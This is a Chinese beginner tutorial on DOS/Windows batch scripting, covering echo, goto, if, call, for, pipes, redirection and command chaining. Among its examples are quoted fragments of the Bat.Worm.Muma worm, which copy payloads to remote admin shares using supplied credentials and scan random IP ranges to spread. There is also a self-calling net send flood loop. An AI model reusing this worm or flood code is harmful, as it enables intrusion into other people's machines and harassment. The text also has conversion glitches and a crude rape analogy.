From: http://www.jb51.net/article/97204.htm
From: http://www.92to.com/bangong/2016/04-08/2998914.html
百度文庫:目前為止最全的批處理教程
批處理經典入門教程
批處理的本質,是一堆DOS指令按一定順序排列而形成的集合。
批處理,也稱為批處理腳本,英文譯為BATCH,批處理檔案字尾BAT就取的前三個字母。它的構成沒有固定格式,隻要遵守以下這條就ok了:每一行可視為一個指令,每個指令裡可以含多條子指令,從第一行開始執行,直到最後一行結束,它運作的平台是DOS。批處理有一個很鮮明的特點:使用友善、靈活,功能強大,自動化程度高。
例一、先給出一個最 easy 的批處理腳本讓大家和它混個臉熟。
将下面的幾行指令儲存為 name.bat 然後執行( 以後文中隻給出代碼,儲存和執行方式類似):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理後,可以在你的目前盤建立一個名為a.txt的檔案,它裡面記錄的資訊可以幫助你迅速找到速度最快的QQ伺服器,進而遠離“從伺服器中轉”那一痛苦的過程。這裡>的意思,是把前面指令得到的東西放到後面所給的地方,>>的作用,和>的相同,差別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行指令得出的結果将保留,這樣可以使這個a.txt檔案越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他指令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP,是不是很爽?後面還将詳細介紹。
例二、再給出一個已經過時的例子(a.bat):
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
例三,使用批處理腳本查是否中冰河。腳本内容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這裡利用了 netstat 指令,檢查所有的網絡端口狀态,隻需要你清楚常見木馬所使用的端口,就能很 easy 的判斷出來是否被人種了冰河。然這不是确定的,因為冰河預設的端口 7626,完全可以被人修改。這裡介紹的隻是方法和思路。這裡介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及資訊清單檔案後,就變 成自動檢測所有木馬的腳本了。呵呵,是不是很過瘾?腳本中還利用了組合指令 && 和 管道指令 | ,後面将詳細介紹。
例四,借批處理自動清除系統垃圾。
腳本如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
将以上腳本内容儲存到 autoexec.bat 裡,每次開機時就把系統垃圾給自動删除了。
這裡需要注意兩點:
- 一、DOS 不支援長檔案名,是以就出現了 Tempor~1 這個東東;
- 二、可根據自己的實際情況進行改動,使其符合自己的要求。
現在由淺入深的介紹批進行中常用的指令,很多常見 DOS 指令在批處理腳本中有這廣泛的應用,它們是批處理腳本的 BODY 部分,但批處理比 DOS 更靈活多樣,更具備自動化。要學好批處理,DOS 一定要有比較紮實的基礎。這裡隻講述一些比較少用(相對來說)的 DOS指令,常用指令如 COPY、DIR 等就不做介紹了。。。
例五,先看一個執行個體。
這是一個很有意思的腳本,一個小巧實用的好東東,把批處理 “自動化” 的特點展現的淋漓盡緻。
先介紹一下這個腳本的來曆:大家都知道彙程式設計式(MASM)的上機過程,先要對源代碼進行彙編、連接配接,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(隻有經曆過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我 “被逼” 寫了這個腳本,用起來很爽,呵呵。看看腳本内容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被這一堆的東西給吓怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行指令的解釋,兩個冒号後面的内容為前一行内容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在腳本執行時不顯示,也不起任何作用。倒數第5行行首有一個冒号,可不是筆誤哦!具體作用後面會詳細講到。此腳本中masm和link是彙程式設計式和連接配接程式,必須和edit程式以及你要編輯的源代碼(當然還有這個腳本,廢話!)一起在目前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中隻需要按幾下Enter鍵,即可實作從彙編源代碼到可執行exe檔案的自動化轉換,并具備智能判斷功能:如果彙編時源代碼出現錯誤(彙編不成功),則自動暫停顯示錯誤資訊,并在按任意鍵後自動進入編輯源代碼界面;如果源代碼彙編成功,則進行連接配接,并在連接配接後自動執行生成的exe檔案。另外,由于批處理指令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。
在這個腳本中出現了如下幾個指令:@、echo、::、pause、:和goto、%以及if。而這一章就将講述這幾個指令。
1、@ at 符号
這個符号大家都不陌生,email的必備符号,它怎麼會跑到批進行中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行視窗中不顯示它後面這一行的指令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的指令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執行時不顯示後面的echo off部分。這下懂了吧?還是不太懂?沒關系,看完echo指令簡介,自然就懂了。
2、echo
中文為“回報”、“回顯”的意思。它其實是一個開關指令,就是說它隻有兩種狀态:打開和關閉。于是就有了echo on 和echo off兩個指令了。直接執行echo指令将顯示目前echo指令狀态(off或on)執行echo off将關閉回顯,它後面的所有指令都不顯示指令本身,隻顯示執行後的結果,除非執行echo on指令。在例五中,首行的@指令和echo off指令聯合起來,達到了兩個目的:不顯示echo off指令本身,不顯示以後各行中的指令本身。的确是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!
echo指令的另一種用法一:可以用它來顯示資訊!如例五中倒數第二行,Default BAT file name is START.BAT将在腳本執行後的視窗中顯示,而echo指令本身不顯示(為什麼??)。
echo指令的另一種用法二:可以直接編輯文本檔案。
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本内容的編輯方法是,直接是指令行輸入,每行一回車。最後就會在目前目錄下生成一個a.bat的檔案,直接執行就會得到結果。
CHOICE :
選擇指令。這是一個DOS外部指令,但它主要用在批檔案中。
CHOICE指令執行後将提示可選擇的項目,這時通過一個按鍵來選則。
用法:CHOICE:[/C[:]按鍵表] [/N] [/S] [/T[:]選擇值,秒數] [顯示文本]
其中,/C 表示可選則的按鍵,
/N 表示不要顯示提示資訊,
/S 表示大小寫字元敏感方式,
/T 表示若在批定的時間内沒有選則的話,自動執行/C中定義的某個選擇值。
顯示文本是CHOICE指令執行時的提示資訊。選擇結果将用ERRORLEVEL值來表示。
3、:: 注釋
這個指令的作用很簡單,它是注釋指令,在批處理腳本中 和 rem 指令等效。它後面的内容在執行時不顯示,也不起任何作用,因為它隻是注釋,隻是增加了腳本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。
REM :
添加注解。用于增加檔案可讀性,将不被執行。也可以用::來代替。
4、pause
中文為“暫停”的意思(看看你的 workman 上),我一直認為它是批進行中最簡單的一個指令,單純、實用。它的作用,是讓目前程式程序暫停一下,并顯示一行資訊:請按任意鍵繼續. . .。在例五中這個指令運用了兩次,第一次的作用是讓使用者看清楚程式資訊,第二個是顯示錯誤的彙編代碼資訊(其實不是它想顯示,而是masm程式在顯示錯誤資訊時被暫它停了,以便讓你看清楚你的源代碼錯在哪裡)。
PAUSE :
暫停批檔案的執行,并顯示“按任意鍵繼續”的字樣。
5、冒号 和 goto
為什麼要把這兩個指令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。
- goto 是個跳轉指令,
- : 是一個标簽。
當程式運作到 goto 時,将自動跳轉到 : 定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程式在運作到goto時就自動跳轉到:标簽定義的部分執行,結果是顯示腳本usage(usage就是标簽名稱)。不難看出,goto指令就是根據這個冒号和标簽名稱來尋找它該跳轉的地方,它們是一一對應的關系。goto指令也經常和if指令結合使用。
goto 指令的另一種用法 一:提前結束程式。在程式中間使用 goto 指令跳轉到某一标簽,而這一标簽的内容卻定義為退出。如:
……
goto end
……
:end
這裡 :end 在腳本最後一行!其實這個例子很弱智,後面講了 if 指令群組合指令你就知道了。
用法:GOTO [标号名]
其中,标号名是可以随意設定的,如 Hello 等。設定标号用“:”符号,
如“:Hello”,這時用GOTO Hello指令将轉到“:Hello”所在的位置繼續執行批檔案。
6、百分号
這個百分号嚴格來說是算不上指令的,它隻是批進行中的參數而已(多個%一起使用的情況除外,以後還将詳細介紹),但千萬别以為它隻是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例 七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32⏺.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:腳本檔案名 參數一 參數二 ……。假設這個腳本被儲存為a.bat,則執行形式如下:a IP username password。這裡IP、username、password是三個參數,缺一不可(因為程式不能正确運作,并不是因為少了參數文法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那麼腳本的作用也就被固定了,但如果使用%的話,不同的參數可以達到不同的目的,是不是更靈活?)。
關于這個參數的使用,在後續章節中還将介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!
7、if
if 指令是一個表示判斷的指令,根據得出的每一個結果,它都可以對應一個相應的動作。關于它的三種用法,在這裡分開講。
(1)、輸入判斷。還是用例五裡面的那幾句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
這裡判斷輸入的參數情況,如果參數為空(無參數),則跳轉到usage;如果參數為/?或help時(大家一般看一個指令的幫助,是不是輸入的/?或help呢,這裡這麼做隻是為了讓這個腳本看起來更像一個真正的程式),也跳轉到usage。這裡還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入參數不為空就跳轉到usage
(2)、存在判斷(檔案或者盤符)。再看例二裡這句:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif檔案,就删除這些檔案。當然還有例四,都是一樣的道理。注意,這裡的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif檔案則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。隻是多一個not來表示否定而已。
(3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這麼大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對源代碼進行彙編,如果失敗則暫停顯示錯誤資訊,并在按任意鍵後自動進入編輯界面;否則用link程式連接配接生成的obj檔案。這裡隻介紹一下和if指令有關的地方,&指令後面會講到。這種用法是先判斷前一個指令執行後的傳回碼(也叫錯誤碼,DOS程式在運作完後都有傳回碼),如果和定義的錯誤碼符合(這裡定義的錯誤碼為1),則執行相應的好啊作( 這裡相應的好啊作為pause & edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變為:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本質了吧?其實隻是把結果判斷後所執行的指令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm指令執行成功(因為它是錯誤判斷,而且傳回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裡是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,是以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然後把有not和沒有not的情況,傳回碼為0或1的情況分别寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?後面介紹管道指令群組合指令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的差別。
這種用errorlevel結果判斷的用法是if指令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷傳回碼,則要達到相同的效果,必須用else來表示“否則”的好啊作,是比較麻煩的。以上代碼必須變成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
關于if指令的這三種用法就say到這裡,了解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎麼沒給出類似下面三行的用法介紹,是因為下面三行是if指令幫助裡對它自身用法的解釋,任何人隻要一個“if /?”就能看到,我沒有必要在這裡多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,是以我采用上面自己對if指令的了解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物
本質!)。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
IF :
條件判斷指令。這是一項很有用的批處理指令。
用法1:IF [NOT] EXIST 檔案名 指令 [指令參數]
意義:如果[不]存在某個檔案将執行某個指令。
用法2:IF [NOT] ERRORLEVEL 錯誤傳回代号 指令 [指令參數]
意義:如果錯誤傳回代号[不]大于或等于指定的代号将執行某個指令。
其中,ERRORLEVEL表示錯誤傳回代号,很有用。
對于很多DOS指令,由于執行的結果不同(如執行成功,執行失敗,或被使用者中斷等),
這些指令會傳回不同的代号,以表示不同的結果。IF ERRORLEVEL指令就根據這個不同
結果而産生的不同代号來執行不同的指令,通常用在某條指令之後。
如I F ERRORLEVEL 1 ECHO OK!表示如果目前的錯誤傳回代号大于或等于1時将在螢幕
上顯示“OK!”的字樣。
用法3:IF [NOT] 字元串1==字元串2 指令 [指令參數]
意義:當字元串1和字元串2[不]相等的時候執行某個指令。
8、call
學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裡它的意思其實也是一樣的。在批處理腳本中,call指令用來從一個批處理腳本中調用另一個批處理腳本。看例八(預設的三個腳本檔案名分别為start.bat、10.bat和ipc.bat
start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
在start.bat中,10.bat後面跟了參數0,在執行時的效果,其實就是把10.bat裡的參數%1用0代替。在start.bat中,ipc.bat後面跟了參數ipcfind.txt(一個檔案,也可以做參數),執行時的效果,就是用ipc.bat中的每一行的三個變量 (這裡不懂沒關系,學過for指令後就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這裡參數調用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習隻調用腳本,至于連腳本的參數一起使用的情況,在後面的學習中自然就會有
比較深刻的了解,這是因為當你已經可以靈活運用批處理腳本後,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率加倍。By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在後面的教程裡,大家将有機會見到這個病毒的真面目。
那是不是說,在同一個目錄下至少存在兩個批處理腳本檔案(隻有一個你調用誰?)?呵呵,注意了,這句話錯了!!隻有一個照樣可以調用----調用自身!看例九(預設腳本檔案名a.bat):
net send %1 This is a call example.
call a.bat
這兩句一結合,效果自然不怎麼樣,因為隻有一台機器來發消息,誰怕誰啊?我給你來個禮尚往來!可如果有100台機器同時執行,而且每台機器開10和視窗同時向一個目标機器發消息的話,呵呵。這裡call a.bat的作用就是調用自身,執行完前一句net send指令後再調用自身,達到了循環執行的目的。 給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(預設腳本檔案名為a.bat):
9、find
這是一個搜尋指令,用來在檔案中搜尋特定字元串,通常也作為條件判斷的鋪墊程式(我怎麼突然想起了這四個字?)。
這個指令單獨使用的情況在批進行中是比較少見的,因為沒什麼實際意義。還是借例三來說明:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat指令檢查是否有冰河預設的端口7626在活動,并把結果儲存到a.txt中。然後使用type指令列出a.txt中的内容,再在列出的内容中搜尋字元串“7626” ,發現有的話則提示中了冰河,否則退出。看,find指令其實就這麼簡單,但有一點必須要注意到:如果不使用type指令列出a.txt中的内容,而是直接使用find指令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有預設路徑就是目前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find指令的幫助裡有這麼一句話:如果沒有指定路徑,find将搜尋鍵入的或者由另一個指令産生的文字。這裡的“另一個指令”自然就指的type指令了。
至于find指令的其他幾個參數如v、n、i等,有興趣的朋友自己去研究吧,這已經屬于DOS學習的内容了,這裡就不做介紹。關于find指令和其他指令的一些更精妙的用法(有些簡直令人叫絕),後續的教程中将介紹,希望關注。
10、for、set、shift
為什麼把這三個指令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個指令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。是以我給出一個腳本去告訴你,如何讓這兩個指令給自己留一個初步的印象,其實也就是這兩個指令的入門,而并不是說如何領會這兩個指令。因為要領會如此精妙的兩個指令(特别是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這裡丢人顯眼;也許你還會說一些别的這樣那樣好聽或不好聽的話,都随便你了,即使我不同意你說的話,我也會誓死捍衛你說話的權利。看例十
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
執行後在目前路徑下就生成for.txt、set.txt和shift.txt三個檔案,裡面分别記錄了for指令、set指令和shift指令的幫助資訊。地球人都能看懂,我就不多說了。我在網上曾經找了很長時間這三個指令的教程,但都不理想,基本都是照搬的幫助資訊。我想在自己完全掌握了這兩個指令後,一定要寫一篇用自己的文字總結出來的for、set和shift教程(關于shift指令,後面介紹批處理的參數時還将涉及到),一定會的,這是我的心願之一!需要注意的一點是,這三個指令的幫助裡 ,介紹的都比較死闆,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個指令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經需要足夠的耐心了,要進一步練習領會這兩個指令,難道不需要更大的耐心?實戰練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了。看看例十
FOR :
DOS下許多指令支援通配符,如?和*,可以一次指定一批檔案,非常友善。
然而,并非所有的DOS指令都支援通配符,如TYPE(檔案内容顯示指令)就不支援。
有了FOR指令就沒有關系了,利于它可以使TYPE指令可以一次顯示多個檔案。
用法:FOR %變量名 IN (檔案集) DO 指令 [指令參數]
注:以上是FOR指令的固定形式,IN和DO的位置必須正确,否則将提示文法錯誤。
如 FOR %F IN (*.*) DO TYPE %F指令就可以實作TYPE指令一次顯示多個檔案。
注:%F是變量名,也可用%G等代替,但前後必須一緻。在批檔案中用%%F代替。
二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET
NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設定了病毒運作的環境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個指令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發現愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去-
---愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜後,最直覺的收獲就是,你的耐心變的前所未有的充足,面對她的複雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經應付不了的場面,即使到最後一身傷痕,也會感慨曾經的舉動有多麼偉大。
沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂着。
不得不再次重申一遍,各種DOS指令是批處理的BODY(我實在找不出一個更合适的詞來形容他們之間的關系),學好DOS指令是學好批處理的前提。其他DOS指令如copy、dir、del、type、path、break、start等内部指令,以及ping、net、cmd、at、sort、attrib、fc、find等外部指令,在批處理裡的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS指令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS指令的基礎上的,這已經超出了本文的範疇,在此就不贅述了。
11、| 管道
這個指令恐怕大家不是很陌生,經常好啊作DOS的朋友都應該知道,當我們檢視一個指令的幫助時,如果幫助資訊比較長,一螢幕顯示不完時DOS并不給我們時間讓我們看完一螢幕再翻到另一螢幕,而是直接顯示到幫助資訊的最後。如在提示符下輸入help回車時,就會看到目前DOS版本所支援的所有非隐含指令,但你隻能看到最後的那些指令,前面的早就一閃
而過了,如何解決這個問題?看例十三:
help | more
回車後會發現顯示滿一螢幕後就自動暫停,等候繼續顯示其他資訊。當按寫回車時,變成一個一個的出現;按下空格鍵時一螢幕一螢幕顯示,直到全部顯示完為止;按其他鍵自動停止傳回DOS。 為什麼會出現上述現象?答案很簡單,這裡結合了管道指令|和DOS指令more來共同達到目的的。這裡先簡單介紹一下help指令和more指令,對了解|指令的用法有很大幫助。
help指令。其實這個指令是不需要多說的,但在上述例子中help指令的用法比較特殊,直接在DOS提示符下輸入help指令,結果是讓DOS顯示其所支援的所有非隐含指令,而在其他地方用help指令,如輸入net help回車,則是顯示net指令的幫助資訊。
more指令。可能很多朋友以前就沒有接觸過這個指令,這個指令在Linux下的用處非常廣泛,也是管道指令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個指令去比較一下差别:more a.txt和type a.txt。利用more指令,可以達到逐屏或逐行顯示輸出的效果,而type指令隻能一次把輸出顯示完,最後的結果就是隻能看到末尾的部分。在例十三裡,more指令的作用就是讓輸出的資訊逐屏或逐行顯示。
看到這裡,你是否已經能隐約感受到了|指令的作用了?沒錯,它的作用,就是把前一指令的輸出當後一指令的輸入來用的。在例十三裡,前一指令的輸出,就是help指令執行後顯示的DOS所支援的所有非隐含指令,而這個結果剛好做了後一指令more的輸入。是以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
12、>、>> 輸出重定向
這兩個指令的效果從本質上來說都是一樣的,他們都是輸出重定向指令,說的通俗一點,就是把前面指令的輸出寫入到一個檔案中。這兩個指令的唯一差別是,>會清除掉原有檔案中的内容後把新的内容寫入原檔案,而>>隻會另起一行追加新的内容到原檔案中,而不會改動其中的原有内容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行指令,一行一個回車,将在目前目錄下生成一個a.bat檔案,裡面的内容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到這裡,你得到了多少資訊?1、可以直接在DOS提示符下利用echo指令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道指令>和>>的差別如上所述。如果這裡隻用>指令來完成上面好啊作,最後也會生成一個a.bat,但裡面的内容就隻剩下最後一行exit了。是以>和>>一般都聯合起來用,除非你重定向的輸出隻有一行,那麼就可以隻用>了。結合例一再仔細體會輸出重定向管道指令>和>>的用法。
13、<、>&、<& 特殊管道
這三個指令也是管道指令,但它們一般不常用,你隻需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。
<,輸入重定向指令,從檔案中讀入指令輸入,而不是從鍵盤中讀入。
>&,将一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并将其寫入到另一個句柄輸出中。
關于這三個管道指令的舉例,在後面批處理腳本的精妙應用中還将涉及到。
下面介紹組合指令:&、&&、||
組合指令,顧名思義,就是可以把多個指令組合起來當一個指令來執行。這在批處理腳本裡是允許的,而且用的非常廣泛。它的格式很簡單----既然現在已經成了一個檔案了,那麼這多個指令就要用這些組合指令連接配接起來放在同一行----因為批處理認行不認指令數目。組合指令的作用,就如同給夫妻陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先後順序,有些話是否可以同時說。在批處理腳本裡也一樣,有些時候某些指令是不能同時執行的,後面給你說。
14、& 一個與
這可以說是最簡單的一個組合指令了,它的作用是用來連接配接n個DOS指令,并把這些指令按順序執行,而不管是否有指令執行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt b.txt的效果是一樣的,隻不過前者是分了兩步來進行的(在後面還将涉及到具體使用哪種方法的問題)。這個指令很簡單,就不多費口舌了,唯一需要注意的一點是,這裡&兩邊的指令是有執行順序的,從前往後執行 。
15、&& 兩個與
它可以把它前後兩個指令組合起來當一個指令來用,與&指令不同之處在于,它在從前往後依次執行被它連接配接的幾個指令時會自動判斷是否有某個指令執行出錯,一旦發現出錯後将不繼續執行後面剩下的指令。這就為我們自動化完成一些任務提供了友善。
你是否還記得“有些指令是不能同時執行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C槽和D盤的檔案和檔案夾列出到a.txt檔案中。你将如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執行兩個dir,然後把得到的結果>到a.txt裡就ok了嘛, 例十八:dir c:\ && dir d:\ > a.txt
仔細研究一下這句執行後的結果,看看是否能達到題目的要求!錯了!這樣執行後a.txt裡隻有D盤的資訊!為什麼?就因為這裡&&指令和>指令不能同時出現一個句子裡(批處理把一行看成一個句子)!!組合指令&&的優先級沒有管道指令>的優先級高(自己總結的,不妥的地方請指正)!是以這句在執行時将本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合指令&&達到題目的要求,必須得這麼寫:dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據優先級高低,DOS将把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差别比較特殊,值得好好研究體會一下。
當然這裡還可以利用&指令(自己想一下道理哦):dir c:\ > a.txt & dir d:\ >> a.txt
16、|| 或
這個指令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條指令時,當遇到一個執行正确的指令就退出此指令組合,不再繼續執行下面的指令。題目:檢視目前目錄下是否有以s開頭的exe檔案,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe檔案,就退出;如果不存在那個exe檔案,也退出!為什麼?因為如果不存在那個.exe檔案,則前一條指令dir s*.exe執行肯定是不成功的,是以就繼續執行exit,自然就退出了,呵呵。那麼如何解決題目給出的問題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執行的結果,就能達到題目的要求,是否存在s*.exe将出現兩種結果。這裡加暫停的意思,當然是讓你能看到echo輸出的内容,否則一閃而過的視窗,echo就白寫了。
給出兩個更好研究優先級(同時也是更難了解)的腳本,仔細研究它們的差別,以便徹底了解各種指令的優先級順序,對以後自己利用這些指令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
